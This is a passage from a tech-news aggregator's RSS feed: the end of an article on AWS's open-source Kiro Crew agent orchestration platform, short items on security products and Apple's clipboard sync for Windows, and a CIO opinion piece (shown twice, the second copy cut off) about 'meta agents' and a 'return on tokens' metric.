<p class="wp-block-paragraph">Taken together, those capabilities could significantly reduce software release cycles as well as the time developers spend supervising AI tools and reconnecting context between engineering workflows, according to <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005347" target="_blank" rel="noreferrer noopener">Dave McCarthy</a>, vice president of enterprise infrastructure at IDC.</p>



<p class="wp-block-paragraph">“It eliminates context-switching and babysitting single prompts. Work continues asynchronously in the background while developers are in meetings, off the clock, or asleep, allowing teams to return to completed progress rather than a stalled process,” McCarthy said.</p>



<p class="wp-block-paragraph">That, in turn, will allow developers to spend more time on higher-value engineering tasks, such as designing systems, making architectural decisions, and solving complex engineering problems, echoed <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research.</p>



<h2 class="wp-block-heading">Why CIOs should care</h2>



<p class="wp-block-paragraph">Kiro Crew’s open-source, self-hosted architecture could help enterprises looking to bring governance and visibility to the growing use of AI coding agents, analysts said.</p>



<p class="wp-block-paragraph">“Agent use inside most companies right now is shadow IT, with individual developers wiring up their own agents against their own credentials and nobody tracking it. A shared workspace with approval gates and logging gives you one place to see what ran, what it touched, and who authorized it,” said Leone.</p>



<p class="wp-block-paragraph">Those governance capabilities, combined with the ability to run inside customer-controlled environments, according to Chaturvedi, could also help CIOs address security and compliance concerns: “Being open source and self-hostable, a CIO can run it on their own infrastructure and keep code and credentials inside their perimeter rather than sending them to a black-box agent.”</p>



<p class="wp-block-paragraph">That reduction in security concerns, combined with Kiro Crew’s human-approval workflows, could provide enterprises with a lower-risk path to broader agent adoption, Jha said. “Since it embeds consistency and security screening at scale, and because review remains human-approved, it’s a low-risk entry point for demonstrating agentic ROI before extending trust to higher-stakes, unattended workflows.”</p>



<h2 class="wp-block-heading">Not without trade-offs</h2>



<p class="wp-block-paragraph">Despite its benefits, the adoption of Kiro Crew comes with trade-offs, analysts warned.</p>



<p class="wp-block-paragraph">Adopting Kiro Crew may not be a simple plug-and-play operation, said <a href="https://www.linkedin.com/in/slwalter/" target="_blank" rel="noreferrer noopener">Stephanie Walter</a>, practice lead for AI Stack at HyperFRAME Research. Rather, it introduces yet another orchestration layer for enterprises to manage and secure, she said.</p>



<p class="wp-block-paragraph">Enterprises would need to draft up policies covering least-privilege access, human approvals, memory retention, code provenance, and auditability before allowing persistent agents to operate across source code repositories and CI/CD pipelines, Walter said.</p>



<p class="wp-block-paragraph">More so because most enterprises, Walter added, are still not operationally ready to manage swarms of autonomous AI agents: “Many are still struggling to measure the cost and value of individual AI agents. Parallel agents multiply model calls, compute, CI activity, API usage, tool access, and human review, not just token consumption.”</p>



<h2 class="wp-block-heading">Open architecture, but questions remain</h2>



<p class="wp-block-paragraph">Even for organizations that are ready to experiment with autonomous coding agents, integrating Kiro Crew into existing development environments may require additional work.</p>



<p class="wp-block-paragraph">Although AWS built Kiro Crew around open standards such as Agent Client Protocol (ACP) and Model Context Protocol (MCP), the platform runs on the proprietary <a href="https://kiro.dev/cli/" target="_blank" rel="noreferrer noopener">Kiro CLI</a> at launch, according to Mesaros.</p>



<p class="wp-block-paragraph">That means enterprises using other AI coding agents, such as Claude Code, Codex, or Devin, may need to build and validate their own connectors before they can use Kiro Crew as their orchestration layer.</p>



<p class="wp-block-paragraph">“The dependency is real. AWS says Crew runs on the Kiro CLI at launch, and that CLI is proprietary and metered by credits, so it’s the harness actually wired up on day one. Until someone runs a different agent under Crew and shows it working, the open part stops at the orchestration layer,” said Leone.</p>



<p class="wp-block-paragraph">For enterprises and development teams already using Kiro, however, adoption is expected to be more straightforward, as Kiro Crew can reuse existing .kiro configurations, including steering files, skills, and custom agents, without requiring additional setup, according to Mesaros.</p>



<p class="wp-block-paragraph">The new offering, due to its open-source nature, is free as well, Mesaros pointed out, adding that customers need to pay only for the AI coding agents and tools they choose to connect to Crew.</p>



<p class="wp-block-paragraph">AWS said it will govern the project through a publicly listed steering committee operating under an open governance model, with proposals submitted as pull requests and debated openly.</p>



<p class="wp-block-paragraph">Kiro and AWS engineers will initially maintain the project, with trusted community contributors expected to join the maintainer group over time, it added.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Automated web insight extraction with Amazon Bedrock AgentCore]]></title>
<description><![CDATA[Extracting insights from dozens of websites by hand quickly becomes overwhelming. This post shows how to build an automated web insight extraction solution with Amazon Bedrock AgentCore Browser, Amazon Bedrock, Amazon OpenSearch Serverless, and AWS Lambda that monitors RSS feeds, renders pages re...]]></description>
<link>https://tsecurity.de/de/3703774/ai-nachrichten/automated-web-insight-extraction-with-amazon-bedrock-agentcore/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703774/ai-nachrichten/automated-web-insight-extraction-with-amazon-bedrock-agentcore/</guid>
<pubDate>Tue, 04 Aug 2026 18:09:49 +0200</pubDate>
<content:encoded><![CDATA[Extracting insights from dozens of websites by hand quickly becomes overwhelming. This post shows how to build an automated web insight extraction solution with Amazon Bedrock AgentCore Browser, Amazon Bedrock, Amazon OpenSearch Serverless, and AWS Lambda that monitors RSS feeds, renders pages reliably, and makes AI-extracted insights searchable.]]></content:encoded>
</item>
<item>
<title><![CDATA[Rapid7 Releases Metasploit Framework 6.5 | MCP AI Integration And Malleable C2]]></title>
<description><![CDATA[Rapid7 has officially launched Metasploit Framework 6.5, packing two years of core development, 422 new modules, and major…
The post Rapid7 Releases Metasploit Framework 6.5 | MCP AI Integration And Malleable C2 appeared first on Hackers Online Club.]]></description>
<link>https://tsecurity.de/de/3703634/it-security-nachrichten/rapid7-releases-metasploit-framework-65-mcp-ai-integration-and-malleable-c2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703634/it-security-nachrichten/rapid7-releases-metasploit-framework-65-mcp-ai-integration-and-malleable-c2/</guid>
<pubDate>Tue, 04 Aug 2026 17:13:40 +0200</pubDate>
<content:encoded><![CDATA[<p>Rapid7 has officially launched Metasploit Framework 6.5, packing two years of core development, 422 new modules, and major…</p>
<p>The post <a href="https://hackersonlineclub.com/metasploit-new-mcp-ai-malleable-c2/">Rapid7 Releases Metasploit Framework 6.5 | MCP AI Integration And Malleable C2</a> appeared first on <a href="https://hackersonlineclub.com/">Hackers Online Club</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ServiceNow organizes autonomous security around six solution areas]]></title>
<description><![CDATA[ServiceNow has announced an acceleration of its Autonomous Security vision with six unified solutions that help deliver prevention-first, AI-native cyber defense across unified exposure management, continuous vulnerability detection, cyber-physical security, identity and access security, and agen...]]></description>
<link>https://tsecurity.de/de/3703411/it-security-nachrichten/servicenow-organizes-autonomous-security-around-six-solution-areas/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703411/it-security-nachrichten/servicenow-organizes-autonomous-security-around-six-solution-areas/</guid>
<pubDate>Tue, 04 Aug 2026 15:58:30 +0200</pubDate>
<content:encoded><![CDATA[<p>ServiceNow has announced an acceleration of its Autonomous Security vision with six unified solutions that help deliver prevention-first, AI-native cyber defense across unified exposure management, continuous vulnerability detection, cyber-physical security, identity and access security, and agentic incident response, and cyber risk and compliance. With new AI Specialists that complete security workflows autonomously, including the Vulnerability Resolution AI Specialist, these capabilities enable enterprises to prevent, contain, and remediate risk at machine speed, before threats become breaches. … <a href="https://www.helpnetsecurity.com/2026/08/04/servicenow-ai-specialists/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/08/04/servicenow-ai-specialists/">ServiceNow organizes autonomous security around six solution areas</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[RapidFort Runtime brings continuous CVE monitoring and tamper detection]]></title>
<description><![CDATA[RapidFort has launched RapidFort Runtime, a real-time security solution that extends RapidFort’s SSCS capabilities into live production environments. The offerings provide end-to-end continuous threat elimination, from curated, independently malware-scanned open-source software before deployment ...]]></description>
<link>https://tsecurity.de/de/3703301/it-security-nachrichten/rapidfort-runtime-brings-continuous-cve-monitoring-and-tamper-detection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703301/it-security-nachrichten/rapidfort-runtime-brings-continuous-cve-monitoring-and-tamper-detection/</guid>
<pubDate>Tue, 04 Aug 2026 15:11:12 +0200</pubDate>
<content:encoded><![CDATA[<p>RapidFort has launched RapidFort Runtime, a real-time security solution that extends RapidFort’s SSCS capabilities into live production environments. The offerings provide end-to-end continuous threat elimination, from curated, independently malware-scanned open-source software before deployment to continuous CVE monitoring and tamper detection in production. RapidFort Runtime operates inside an organization’s production environment continuously monitoring deployed software, detecting unauthorized or unexpected changes, and proactively tracking newly discovered CVEs. It notifies administrators and developers of relevant security impacts and … <a href="https://www.helpnetsecurity.com/2026/08/04/rapidfort-runtime/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/08/04/rapidfort-runtime/">RapidFort Runtime brings continuous CVE monitoring and tamper detection</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Confirms iPhone to Windows Clipboard Sync, Likely Coming in iOS 28]]></title>
<description><![CDATA[Apple is working on a new feature that will let users copy and paste content between an iPhone and a Windows PC after Microsoft requested better interoperability under the European Union's Digital Markets Act.



The feature aims to bring a workflow similar to Apple's Universal Clipboard to Windo...]]></description>
<link>https://tsecurity.de/de/3703258/ios-mac-os/apple-confirms-iphone-to-windows-clipboard-sync-likely-coming-in-ios-28/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703258/ios-mac-os/apple-confirms-iphone-to-windows-clipboard-sync-likely-coming-in-ios-28/</guid>
<pubDate>Tue, 04 Aug 2026 15:03:04 +0200</pubDate>
<content:encoded><![CDATA[Apple is working on a new feature that will let users copy and paste content between an iPhone and a Windows PC after Microsoft requested better interoperability under the European Union's Digital Markets Act.



The feature aims to bring a workflow similar to Apple's Universal Clipboard to Windows users, although Apple says it still requires a significant amount of engineering work before it is ready. Based on Apple's current timeline, the feature is expected to arrive around fall 2027 and will likely remain limited to the European Union.



MacRumors spotted Apple's latest update on its EU interoperability requests page, where the company confirmed that it plans to develop a solution that lets developers create extensions to share and import clipboard content between an iPhone and paired accessories, including Windows PCs. 



Microsoft requested the feature because Windows currently cannot match the seamless copy and paste experience available between Apple devices through Universal Clipboard.



Apple outlines how the feature will work







Apple says the new system will rely on the frameworks it introduced with iOS 26.5 and will require users to approve clipboard sharing for each paired Windows PC through AccessorySetupKit before synchronization begins.




"We will introduce a new solution that will follow similar patterns to the Accessory Notifications and Accessory Live Activities frameworks that were introduced on iOS26.5. It will enable you to create an extension to share and import pasteboard items with paired accessories. The system will notify your extension when items are copied into the clipboard; then your extension can use the Accessory Transport Extension framework to share the contents with your accessory as necessary using available transports."




Microsoft originally argued that cross-device copy and paste has become a basic productivity feature that users expect across their primary devices, especially when they regularly switch between a phone and a computer.




"Cross-device copy and paste is a foundational productivity interaction that users expect to 'just work' across their primary devices."




Apple previously warned that it first needed to determine whether such a feature could protect the integrity of iOS and avoid creating problems for the operating system or its intellectual property. 



After completing that assessment, the company agreed to move forward and described the project as a significant engineering effort that should reach developer beta after development finishes in fall 2027, with a public release expected later. Although Apple has not confirmed the software version, the current timeline points to the feature arriving with iOS 28.]]></content:encoded>
</item>
<item>
<title><![CDATA[Why meta agents must become the economic intelligence layer of the agentic enterprise]]></title>
<description><![CDATA[In “Micro and macro agents: The emerging architecture of the agentic enterprise,” I proposed a three-layer architecture for enterprise AI.




Micro agents execute specialized tasks.



Macro agents orchestrate end-to-end business processes.



Meta agents provide governance through monitoring, c...]]></description>
<link>https://tsecurity.de/de/3703201/it-security-nachrichten/why-meta-agents-must-become-the-economic-intelligence-layer-of-the-agentic-enterprise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703201/it-security-nachrichten/why-meta-agents-must-become-the-economic-intelligence-layer-of-the-agentic-enterprise/</guid>
<pubDate>Tue, 04 Aug 2026 14:27:12 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In “<a href="https://www.cio.com/article/4157977/micro-and-macro-agents-the-emerging-architecture-of-the-agentic-enterprise.html?utm=hybrid_search">Micro and macro agents: The emerging architecture of the agentic enterprise</a>,” I proposed a three-layer architecture for enterprise AI.</p>



<ol class="wp-block-list">
<li><strong>Micro agents</strong> execute specialized tasks.</li>



<li><strong>Macro agents</strong> orchestrate end-to-end business processes.</li>



<li><strong>Meta agents</strong> provide governance through monitoring, compliance, security, and human oversight.</li>
</ol>



<p class="wp-block-paragraph">As enterprises begin deploying thousands — and eventually tens of thousands — of autonomous agents, token costs have become a major concern. According to <a href="https://www.gartner.com/en/newsroom/press-releases/2026-06-24-gartner-predicts-ai-coding-costs-will-surpass-average-developer-salary-by-2028-as-token-consumption-surges">Gartner</a>, rising token-driven AI spend is straining budgets and challenging cost justification.</p>



<p class="wp-block-paragraph">To track this economic concern, meta agents should do more than simply being the governance agents.</p>



<p class="wp-block-paragraph">They should become the economic intelligence layer of the enterprise.</p>



<p class="wp-block-paragraph">Their responsibility is not only ensuring AI behaves responsibly.</p>



<p class="wp-block-paragraph">It is ensuring AI creates measurable business value.</p>



<h2 class="wp-block-heading">The missing economic model for AI</h2>



<p class="wp-block-paragraph">Every major technology revolution eventually develops its own economic framework:</p>



<ul class="wp-block-list">
<li>Manufacturing measured productivity.</li>



<li>Cloud computing measured infrastructure utilization.</li>



<li>Digital businesses measured customer acquisition costs and lifetime value.</li>
</ul>



<p class="wp-block-paragraph">The agentic enterprise now requires its own financial discipline. Every AI prompt. Every reasoning cycle. Every interaction between agents. Every autonomous workflow.</p>



<p class="wp-block-paragraph">Tokens have quietly become the <a href="https://www.networkworld.com/article/4153278/tokenomics-why-it-leaders-need-to-pay-attention-to-ai-tokens.html?utm_source=miso&amp;utm_medium=related&amp;utm_campaign=thumbnail_list">operational currency</a> of enterprise AI. <a href="https://www.cio.com/article/4184596/tokenomics-in-enterprise-ai.html?utm=hybrid_search">Tokenomics is now a foundational part of enterprise AI architecture.</a></p>



<p class="wp-block-paragraph">Yet today, most organizations measure only one thing: Cost. How many tokens were consumed? Which models cost the most? What was the monthly inference bill?</p>



<p class="wp-block-paragraph">These are useful operational metrics.</p>



<p class="wp-block-paragraph">They are not strategic business metrics. Boards rarely ask how much electricity a factory consumed. They ask how much value the factory produced.</p>



<p class="wp-block-paragraph">Enterprise AI deserves the same conversation.</p>



<p class="wp-block-paragraph">This is where I was thinking about the laws of physics.  Based on physics laws,  energy cannot be created or destroyed. It is transformed into another form. Electricity becomes light. Chemical energy becomes motion. Solar energy becomes electricity.</p>



<p class="wp-block-paragraph">Enterprise AI offers a similar management lesson.</p>



<h2 class="wp-block-heading">Intelligence must be transformed into value</h2>



<p class="wp-block-paragraph">Tokens are not valuable because they are consumed. They become valuable only when they are transformed into business outcomes. A faster loan application decision. A fraud detection. A better customer experience. Higher software quality. Greater employee productivity. A new business opportunity.</p>



<p class="wp-block-paragraph">This leads to what I call return on tokens (ROT).</p>



<p class="wp-block-paragraph">ROT measures how effectively an organization converts token consumption into measurable business value.</p>



<p class="wp-block-paragraph">Instead of asking, “How many tokens did we consume,” leaders should ask, “How much enterprise value did every million tokens create?”</p>



<p class="wp-block-paragraph">The <a href="https://en.wikipedia.org/wiki/Second_law_of_thermodynamics">Second Law of Thermodynamics</a> tells us something equally important: Every energy transformation introduces inefficiencies. Although total energy is conserved, some inevitably becomes less useful for doing work.</p>



<p class="wp-block-paragraph">Enterprise AI behaves similarly.</p>



<h2 class="wp-block-heading">The second law: Every AI transformation creates friction</h2>



<p class="wp-block-paragraph">Not every token creates value. Some tokens are spent on repeated reasoning. Some generate redundant conversations between agents. Some support oversized context windows. Some produce hallucinations requiring correction. Some route simple tasks to unnecessarily expensive models.</p>



<p class="wp-block-paragraph">The tokens are not lost. But they create very little useful business work.</p>



<p class="wp-block-paragraph">I refer to this as token entropy. Token entropy represents the portion of AI activity that consumes intelligence without producing proportional business outcomes.</p>



<p class="wp-block-paragraph">Every agentic enterprise will experience token entropy. The organizations that win will be the ones that continuously identify and reduce it.</p>



<h2 class="wp-block-heading">Beyond energy: The importance of exergy</h2>



<p class="wp-block-paragraph">Thermodynamics offers another concept that is even more relevant. It is called Exergy.</p>



<p class="wp-block-paragraph">Unlike energy, exergy measures the amount of energy that can actually be converted into useful work. Two systems may contain the same amount of energy while producing dramatically different levels of useful output.</p>



<p class="wp-block-paragraph">The same principle applies to enterprise AI. Two organizations may consume exactly the same number of tokens.</p>



<p class="wp-block-paragraph">One generates meeting summaries.</p>



<p class="wp-block-paragraph">The other transforms loan  processing, accelerates software development, detects fraud, improves customer retention, and creates new revenue streams.</p>



<p class="wp-block-paragraph">Their token consumption is identical. Their business impact is not.</p>



<p class="wp-block-paragraph">Borrowing it as a management analogy, not claiming that AI tokens literally obey the thermodynamic definition of exergy. I think of this as token exergy. It’s not that AI tokens literally obey the thermodynamic definition of exergy. </p>



<p class="wp-block-paragraph">Token exergy measures how much of an organization’s AI intelligence is converted into useful business work. It is not enough to consume tokens efficiently. Organizations must convert those tokens into outcomes that matter.</p>



<h2 class="wp-block-heading">The meta agent evolves</h2>



<p class="wp-block-paragraph">This is where meta agents become transformational.</p>



<p class="wp-block-paragraph">Today we think of them as governance agents. Tomorrow they become economic governors.</p>



<p class="wp-block-paragraph">Meta agents continuously monitor every interaction across the enterprise and answer questions such as:</p>



<ul class="wp-block-list">
<li>Which agents produce the highest ROT?</li>



<li>Where is token entropy increasing?</li>



<li>Which workflows generate the highest token exergy?</li>



<li>Which models deliver the greatest business value per token?</li>



<li>Which agents should use smaller models?</li>



<li>Which prompts should be optimized?</li>



<li>Which workflows require human intervention?</li>



<li>Which autonomous processes should be redesigned?</li>
</ul>



<p class="wp-block-paragraph">Meta agents no longer simply supervise AI. They optimize its economics.</p>



<h2 class="wp-block-heading">The economic intelligence layer</h2>



<p class="wp-block-paragraph">The architecture now becomes complete.</p>



<ul class="wp-block-list">
<li><strong>Micro agents:</strong> Perform work.</li>



<li><strong>Macro agents:</strong> Coordinate work.</li>



<li><strong>Meta agents:</strong> OGovern, observe, optimize, and continuously improve the economics of intelligence.</li>
</ul>



<p class="wp-block-paragraph">Their objective is straightforward:</p>



<ul class="wp-block-list">
<li>Maximize return on tokens.</li>



<li>Minimize token entropy.</li>



<li>Increase token exergy.</li>
</ul>



<p class="wp-block-paragraph">This represents a shift from AI governance to AI economics<strong>.</strong></p>



<h2 class="wp-block-heading">The executive dashboard of tomorrow</h2>



<p class="wp-block-paragraph">The executive dashboard of the future will not focus solely on infrastructure metrics. It will measure intelligence performance.</p>



<p class="wp-block-paragraph">Imagine a boardroom dashboard displaying:</p>



<ul class="wp-block-list">
<li>Return on tokens (ROT)</li>



<li>Token entropy index</li>



<li>Token exergy score</li>



<li>Business value per million tokens</li>



<li>Agent productivity index</li>



<li>Cost per autonomous decision</li>



<li>AI value by business unit</li>



<li>Human escalation rate</li>



<li>Model effectiveness score</li>
</ul>



<p class="wp-block-paragraph">These metrics move AI discussions beyond engineering. They make AI accountable for business outcomes.</p>



<h2 class="wp-block-heading">A new responsibility for CIOs</h2>



<p class="wp-block-paragraph">The next generation of CIOs will not simply deploy AI. They will manage an economy of intelligence.</p>



<p class="wp-block-paragraph">Their role will resemble that of a portfolio manager — allocating AI capacity where it creates the greatest enterprise value, reducing waste, and continuously improving the productivity of every autonomous workflow.</p>



<p class="wp-block-paragraph">That responsibility cannot be fulfilled by dashboards alone. It requires an intelligent layer capable of observing, learning, and optimizing the entire agent ecosystem.</p>



<p class="wp-block-paragraph">That is the emerging role of the meta agent.</p>



<h2 class="wp-block-heading">The next competitive advantage</h2>



<p class="wp-block-paragraph">Every technological revolution rewards organizations that learn to measure what others overlook.</p>



<p class="wp-block-paragraph">Factories measured productivity — not fuel consumption.</p>



<p class="wp-block-paragraph">Digital businesses measured customer engagement — not server utilization.</p>



<p class="wp-block-paragraph">The agentic enterprise will reward organizations that measure intelligence itself.</p>



<p class="wp-block-paragraph">The winners will not be those deploying the largest models. Nor the most agents. Nor consuming the fewest tokens.</p>



<p class="wp-block-paragraph">They will be the organizations that continuously maximize return on tokens, relentlessly reduce token entropy, and increase token exergy.</p>



<p class="wp-block-paragraph">I believe this is the next evolution of the agentic enterprise.</p>



<p class="wp-block-paragraph">Not simply governed intelligence, but economically optimized intelligence.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4183263/the-ai-adoption-spree-is-over-time-to-focus-on-value.html?utm=hybrid_search">The AI adoption spending spree is over. Time to focus on value.</a></p>



<p class="wp-block-paragraph">And in that future, meta agents will serve not only as the guardians of AI — but as the stewards of enterprise intelligence economics.</p>



<p class="wp-block-paragraph">Through this framework I strongly believe that executives can easily remember the key measures for economic intelligence. </p>



<ul class="wp-block-list">
<li><strong>ROT (return on tokens):</strong> How much value did AI create?</li>



<li><strong>Token entropy:</strong> Where are we wasting AI intelligence?</li>



<li><strong>Token exergy:</strong> How effectively are we converting AI intelligence into useful business work?</li>
</ul>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why meta agents must become the economic intelligence layer of the agentic enterprise]]></title>
<description><![CDATA[In “Micro and macro agents: The emerging architecture of the agentic enterprise,” I proposed a three-layer architecture for enterprise AI.




Micro agents execute specialized tasks.



Macro agents orchestrate end-to-end business processes.



Meta agents provide governance through monitoring, c...]]></description>
<link>https://tsecurity.de/de/3703196/it-nachrichten/why-meta-agents-must-become-the-economic-intelligence-layer-of-the-agentic-enterprise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703196/it-nachrichten/why-meta-agents-must-become-the-economic-intelligence-layer-of-the-agentic-enterprise/</guid>
<pubDate>Tue, 04 Aug 2026 14:25:10 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In “<a href="https://www.cio.com/article/4157977/micro-and-macro-agents-the-emerging-architecture-of-the-agentic-enterprise.html?utm=hybrid_search">Micro and macro agents: The emerging architecture of the agentic enterprise</a>,” I proposed a three-layer architecture for enterprise AI.</p>



<ol class="wp-block-list">
<li><strong>Micro agents</strong> execute specialized tasks.</li>



<li><strong>Macro agents</strong> orchestrate end-to-end business processes.</li>



<li><strong>Meta agents</strong> provide governance through monitoring, compliance, security, and human oversight.</li>
</ol>



<p class="wp-block-paragraph">As enterprises begin deploying thousands — and eventually tens of thousands — of autonomous agents, token costs have become a major concern. According to <a href="https://www.gartner.com/en/newsroom/press-releases/2026-06-24-gartner-predicts-ai-coding-costs-will-surpass-average-developer-salary-by-2028-as-token-consumption-surges">Gartner</a>, rising token-driven AI spend is straining budgets and challenging cost justification.</p>



<p class="wp-block-paragraph">To track this economic concern, meta agents should do more than simply being the governance agents.</p>



<p class="wp-block-paragraph">They should become the economic intelligence layer of the enterprise.</p>



<p class="wp-block-paragraph">Their responsibility is not only ensuring AI behaves responsibly.</p>



<p class="wp-block-paragraph">It is ensuring AI creates measurable business value.</p>



<h2 class="wp-block-heading">The missing economic model for AI</h2>



<p class="wp-block-paragraph">Every major technology revolution eventually develops its own economic framework:</p>



<ul class="wp-block-list">
<li>Manufacturing measured productivity.</li>



<li>Cloud computing measured infrastructure utilization.</li>



<li>Digital businesses measured customer acquisition costs and lifetime value.</li>
</ul>



<p class="wp-block-paragraph">The agentic enterprise now requires its own financial discipline. Every AI prompt. Every reasoning cycle. Every interaction between agents. Every autonomous workflow.</p>



<p class="wp-block-paragraph">Tokens have quietly become the <a href="https://www.networkworld.com/article/4153278/tokenomics-why-it-leaders-need-to-pay-attention-to-ai-tokens.html?utm_source=miso&amp;utm_medium=related&amp;utm_campaign=thumbnail_list">operational currency</a> of enterprise AI. <a href="https://www.cio.com/article/4184596/tokenomics-in-enterprise-ai.html?utm=hybrid_search">Tokenomics is now a foundational part of enterprise AI architecture.</a></p>



<p class="wp-block-paragraph">Yet today, most organizations measure only one thing: Cost. How many tokens were consumed? Which models cost the most? What was the monthly inference bill?</p>



<p class="wp-block-paragraph">These are useful operational metrics.</p>



<p class="wp-block-paragraph">They are not strategic business metrics. Boards rarely ask how much electricity a factory consumed. They ask how much value the factory produced.</p>



<p class="wp-block-paragraph">Enterprise AI deserves the same conversation.</p>



<p class="wp-block-paragraph">This is where I was thinking about the laws of physics.  Based on physics laws,  energy cannot be created or destroyed. It is transformed into another form. Electricity becomes light. Chemical energy becomes motion. Solar energy becomes electricity.</p>



<p class="wp-block-paragraph">Enterprise AI offers a similar management lesson.</p>



<h2 class="wp-block-heading">Intelligence must be transformed into value</h2>



<p class="wp-block-paragraph">Tokens are not valuable because they are consumed. They become valuable only when they are transformed into business outcomes. A faster loan application decision. A fraud detection. A better customer experience. Higher software quality. Greater employee productivity. A new business opportunity.</p>



<p class="wp-block-paragraph">This leads to what I call return on tokens (ROT).</p>



<p class="wp-block-paragraph">ROT measures how effectively an organization converts token consumption into measurable business value.</p>



<p class="wp-block-paragraph">Instead of asking, “How many tokens did we consume,” leaders should ask, “How much enterprise value did every million tokens create?”</p>



<p class="wp-block-paragraph">The <a href="https://en.wikipedia.org/wiki/Second_law_of_thermodynamics">Second Law of Thermodynamics</a> tells us something equally important: Every energy transformation introduces inefficiencies. Although total energy is conserved, some inevitably becomes less useful for doing work.</p>



<p class="wp-block-paragraph">Enterprise AI behaves similarly.</p>



<h2 class="wp-block-heading">The second law: Every AI transformation creates friction</h2>



<p class="wp-block-paragraph">Not every token creates value. Some tokens are spent on repeated reasoning. Some generate redundant conversations between agents. Some support oversized context windows. Some produce hallucinations requiring correction. Some route simple tasks to unnecessarily expensive models.</p>



<p class="wp-block-paragraph">The tokens are not lost. But they create very little useful business work.</p>



<p class="wp-block-paragraph">I refer to this as token entropy. Token entropy represents the portion of AI activity that consumes intelligence without producing proportional business outcomes.</p>



<p class="wp-block-paragraph">Every agentic enterprise will experience token entropy. The organizations that win will be the ones that continuously identify and reduce it.</p>



<h2 class="wp-block-heading">Beyond energy: The importance of exergy</h2>



<p class="wp-block-paragraph">Thermodynamics offers another concept that is even more relevant. It is called Exergy.</p>



<p class="wp-block-paragraph">Unlike energy, exergy measures the amount of energy that can actually be converted into useful work. Two systems may contain the same amount of energy while producing dramatically different levels of useful output.</p>



<p class="wp-block-paragraph">The same principle applies to enterprise AI. Two organizations may consume exactly the same number of tokens.</p>



<p class="wp-block-paragraph">One generates meeting summaries.</p>



<p class="wp-block-paragraph">The other transforms loan  processing, accelerates software development, detects fraud, improves customer retention, and creates new revenue streams.</p>



<p class="wp-block-paragraph">Their token consumption is identical. Their business impact is not.</p>



<p class="wp-block-paragraph">Borrowing it as a management analogy, not claiming that AI tokens literally obey the thermodynamic definition of exergy. I think of this as token exergy. It’s not that AI tokens literally obey the thermodynamic definition of exergy. </p>



<p class="wp-block-paragraph">Token exergy measures how much of an organization’s AI intelligence is converted into useful business work. It is not enough to consume tokens efficiently. Organizations must convert those tokens into outcomes that matter.</p>



<h2 class="wp-block-heading">The meta agent evolves</h2>



<p class="wp-block-paragraph">This is where meta agents become transformational.</p>



<p class="wp-block-paragraph">Today we think of them as governance agents. Tomorrow they become economic governors.</p>



<p class="wp-block-paragraph">Meta agents continuously monitor every interaction across the enterprise and answer questions such as:</p>



<ul class="wp-block-list">
<li>Which agents produce the highest ROT?</li>



<li>Where is token entropy increasing?</li>



<li>Which workflows generate the highest token exergy?</li>



<li>Which models deliver the greatest business value per token?</li>



<li>Which agents should use smaller models?</li>



<li>Which prompts should be optimized?</li>



<li>Which workflows require human intervention?</li>



<li>Which autonomous processes should be redesigned?</li>
</ul>



<p class="wp-block-paragraph">Meta agents no longer simply supervise AI. They optimize its economics.</p>



<h2 class="wp-block-heading">The economic intelligence layer</h2>



<p class="wp-block-paragraph">The architecture now becomes complete.</p>



<ul class="wp-block-list">
<li><strong>Micro agents:</strong> Perform work.</li>



<li><strong>Macro agents:</strong> Coordinate work.</li>



<li><strong>Meta agents:</strong> OGovern, observe, optimize, and continuously improve the economics of intelligence.</li>
</ul>



<p class="wp-block-paragraph">Their objective is straightforward:</p>



<ul class="wp-block-list">
<li>Maximize return on tokens.</li>



<li>Minimize token entropy.</li>



<li>Increase token exergy.</li>
</ul>



<p class="wp-block-paragraph">This represents a shift from AI governance to AI economics<strong>.</strong></p>



<h2 class="wp-block-heading">The executive dashboard of tomorrow</h2>



<p class="wp-block-paragraph">The executive dashboard of the future will not focus solely on infrastructure metrics. It will measure intelligence performance.</p>



<p class="wp-block-paragraph">Imagine a boardroom dashboard displaying:</p>



<ul class="wp-block-list">
<li>Return on tokens (ROT)</li>



<li>Token entropy index</li>



<li>Token exergy score</li>



<li>Business value per million tokens</li>



<li>Agent productivity index</li>



<li>Cost per autonomous decision</li>



<li>AI value by business unit</li>



<li>Human escalation rate</li>



<li>Model effectiveness score</li>
</ul>



<p class="wp-block-paragraph">These metrics move AI discussions beyond engineering. They make AI accountable for business outcomes.</p>



<h2 class="wp-block-heading">A new responsibility for CIOs</h2>



<p class="wp-block-paragraph">The next generation of CIOs will not simply deploy AI. They will manage an economy of intelligence.</p>



